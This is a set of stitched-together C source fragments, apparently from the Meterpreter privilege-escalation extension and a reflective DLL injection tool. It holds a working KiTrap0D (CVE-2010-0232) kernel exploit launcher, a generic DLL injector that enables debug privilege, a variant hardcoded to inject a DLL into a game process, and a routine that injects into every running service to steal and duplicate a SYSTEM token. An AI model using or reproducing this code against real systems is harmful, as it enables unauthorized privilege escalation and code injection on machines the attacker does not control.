/* * (CVE-2010-0232) */ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hVdm = NULL; HANDLE hThread = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; char cWinDir[MAX_PATH] = {0}; char cVdmPath[MAX_PATH] = {0}; char cCommandLine[MAX_PATH] = {0}; DWORD dwExitCode = 0; DWORD dwKernelBase = 0; DWORD dwOffset = 0; DWORD dwServiceLength = 0; do { // only works on x86 systems... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT ); dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS ); // 1. first get a file path to a suitable exe... if( !elevate_via_exploit_getpath( cVdmPath, MAX_PATH ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND ); // 2. Scan kernel image for the required code sequence, and find the base address... if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE ); // 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable... dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" ); if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE ); // 4. Use RDI to inject the elevator dll into the remote NTVDM process... // Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique. _snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" ); if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" ); // inject the dll... hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" ); // 5. Wait for the thread to complete dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread ); WaitForSingleObject( hThread, INFINITE ); // pass some information back via the exit code to indicate what happened. GetExitCodeThread( hThread, &dwExitCode ); dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode ); switch( dwExitCode ) { case 'VTIB': // A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that // matches what the kernel expects. // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode ); case 'NTAV': // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl() // expects to be present. // The exploit thread reports it didn't work. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode ); case 'VDMC': // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed. // It's entirely undocumented, so you'll have to use kd to step through it and find out why // it's failing. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode ); case 'LPID': // This exploit will try to transplant the token from PsInitialSystemProcess on to an // unprivileged process owned by you. // PsLookupProcessByProcessId() failed when trying to find your process. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode ); case FALSE: // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found? // Verify the vdmexploit.dll file exists, is readable and is in a suitable location. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode ); case 'w00t': // This means the exploit payload was executed at ring0 and succeeded. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS ); default: // Unknown error. Sorry, you're on your own. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode ); } } while( 0 ); if( hVdm ) { TerminateProcess( hVdm, 0 ); CloseHandle( hVdm ); } if( hThread ) CloseHandle( hThread ); return dwResult; }
// Simple app to inject a reflective DLL into a process vis its process ID. int main( int argc, char * argv[] ) { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else #ifdef WIN_X86 char * cpDllFile = "reflective_dll.dll"; #else WIN_ARM char * cpDllFile = "reflective_dll.arm.dll"; #endif #endif do { // Usage: inject.exe [pid] [dll_file] if( argc == 1 ) dwProcessId = GetCurrentProcessId(); else dwProcessId = atoi( argv[1] ); if( argc >= 3 ) cpDllFile = argv[2]; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return 0; }
// Simple app to inject a reflective DLL into a process vis its process ID. int WinMain() //int argc, char * argv[] { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; DWORD dwExitCode = 1; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else char * cpDllFile = "reflective_dll.dll"; #endif do { // Usage: inject.exe [string] [pid] [dll_file] //if (argc == 2) // dwProcessId = GetCurrentProcessId(); //else //dwProcessId = atoi( argv[2] ); dwProcessId = getPid("ffxiv_dx11.exe"); //if( argc >= 4 ) // cpDllFile = argv[3]; cpDllFile = "ffxiv-fixfullscreen.dll"; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL, MYFUNCTION_HASH, "user data", 1337); // originally (DWORD)(strlen(argv[1]) + 1) if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); //printf( "[+] Injected the '%s' DLL into process %d.\n", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); if ( !GetExitCodeThread( hModule, &dwExitCode ) ) BREAK_WITH_ERROR( "Failed to get exit code of thread" ); //printf( "[+] Created thread exited with code %d.\n", dwExitCode ); //char message[260] = "Injection successful. Thread exited with code: "; //char buffer[260]; //sprintf(buffer, "%d", dwExitCode); //MessageBox(0, strcat(message, buffer), "Info", 1); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return dwExitCode; }
/* * Elevate from local admin to local system via code injection in a system service. * Does not work on NT4 (needed api's missing) Works on 2000, XP, 2003. On Vista, 2008 or 7 we cant open * service process from a non elevated admin. * * A current limitation in LoadRemoteLibraryR prevents this from working across * architectures so we just filter out running this from an x64 platform for now. */ DWORD elevate_via_service_tokendup( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hToken = NULL; HANDLE hTokenDup = NULL; HANDLE hProcess = NULL; HANDLE hThread = NULL; HANDLE hManager = NULL; HANDLE hService = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; ENUM_SERVICE_STATUS * lpServices = NULL; char * cpServiceName = NULL; SERVICE_STATUS_PROCESS status = {0}; char cCommandLine[128] = {0}; OSVERSIONINFO os = {0}; DWORD dwServiceLength = 0; DWORD dwBytes = 0; DWORD index = 0; DWORD dwServicesReturned = 0; DWORD dwExitCode = 0; do { // only works on x86 systems for now... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_service_debug. Unsuported platform", ERROR_BAD_ENVIRONMENT ); os.dwOSVersionInfoSize = sizeof( OSVERSIONINFO ); if( !GetVersionEx( &os ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug: GetVersionEx failed" ) // filter out Windows NT4 if ( os.dwMajorVersion == 4 && os.dwMinorVersion == 0 ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug: Not yet supported on this platform.", ERROR_BAD_ENVIRONMENT ) cpServiceName = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_NAME ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[ELEVATE] elevate_via_service_debug. invalid arguments", ERROR_BAD_ARGUMENTS ); if( !elevate_priv( SE_DEBUG_NAME, TRUE ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. elevate_priv SE_DEBUG_NAME failed" ); hManager = OpenSCManagerA( NULL, NULL, SC_MANAGER_ENUMERATE_SERVICE ); if( !hManager ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. OpenSCManagerA failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, NULL, 0, &dwBytes, &dwServicesReturned, NULL ) ) { if( GetLastError() != ERROR_MORE_DATA ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 1 failed" ); } lpServices = (ENUM_SERVICE_STATUS *)malloc( dwBytes ); if( !lpServices ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. malloc lpServices failed" ); if( !EnumServicesStatus( hManager, SERVICE_WIN32, SERVICE_ACTIVE, lpServices, dwBytes, &dwBytes, &dwServicesReturned, NULL ) ) BREAK_ON_ERROR( "[ELEVATE] elevate_via_service_debug. EnumServicesStatus 2 failed" ); dwResult = ERROR_ACCESS_DENIED; // we enumerate all services, injecting our elevator.dll (via RDI), if the injected thread returns successfully // it means we have been given a system token so we duplicate it as a primary token for use by metsrv. for( index=0 ; index<dwServicesReturned ; index++ ) { do { hService = OpenServiceA( hManager, lpServices[index].lpServiceName, SERVICE_QUERY_STATUS ); if( !hService ) break; if( !QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&status, sizeof(SERVICE_STATUS_PROCESS), &dwBytes ) ) break; if( status.dwCurrentState != SERVICE_RUNNING ) break; // open a handle to this service (assumes we have SeDebugPrivilege)... hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, status.dwProcessId ); if( !hProcess ) break; dprintf( "[ELEVATE] elevate_via_service_debug. trying [%d] lpDisplayName=%s, lpServiceName=%s, dwProcessId=%d", index, lpServices[index].lpDisplayName, lpServices[index].lpServiceName, status.dwProcessId ); _snprintf( cCommandLine, sizeof(cCommandLine), "/t:0x%08X\x00", GetCurrentThreadId() ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hProcess, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) break; if( !WriteProcessMemory( hProcess, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) break; // use RDI to inject the elevator.dll into the remote process, passing in the command line to elevator.dll hThread = LoadRemoteLibraryR( hProcess, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) break; // we will only wait 30 seconds for the elevator.dll to do its job, if this times out we assume it failed. if( WaitForSingleObject( hThread, 30000 ) != WAIT_OBJECT_0 ) break; // get the exit code for our injected elevator.dll if( !GetExitCodeThread( hThread, &dwExitCode ) ) break; // if the exit code was successfull we have been given a local system token, so we duplicate it // as a primary token for use by metsrv if( dwExitCode == ERROR_SUCCESS ) { if( OpenThreadToken( GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken ) ) { if( DuplicateToken( hToken, SecurityImpersonation, &hTokenDup ) ) { core_update_thread_token( remote, hTokenDup ); dwResult = ERROR_SUCCESS; break; } } } } while( 0 ); CLOSE_SERVICE_HANDLE( hService ); CLOSE_HANDLE( hProcess ); CLOSE_HANDLE( hThread ); CLOSE_HANDLE( hToken ); if( dwResult == ERROR_SUCCESS ) break; } } while( 0 ); CLOSE_SERVICE_HANDLE( hManager ); if( lpServices ) free( lpServices ); SetLastError( dwResult ); return dwResult; }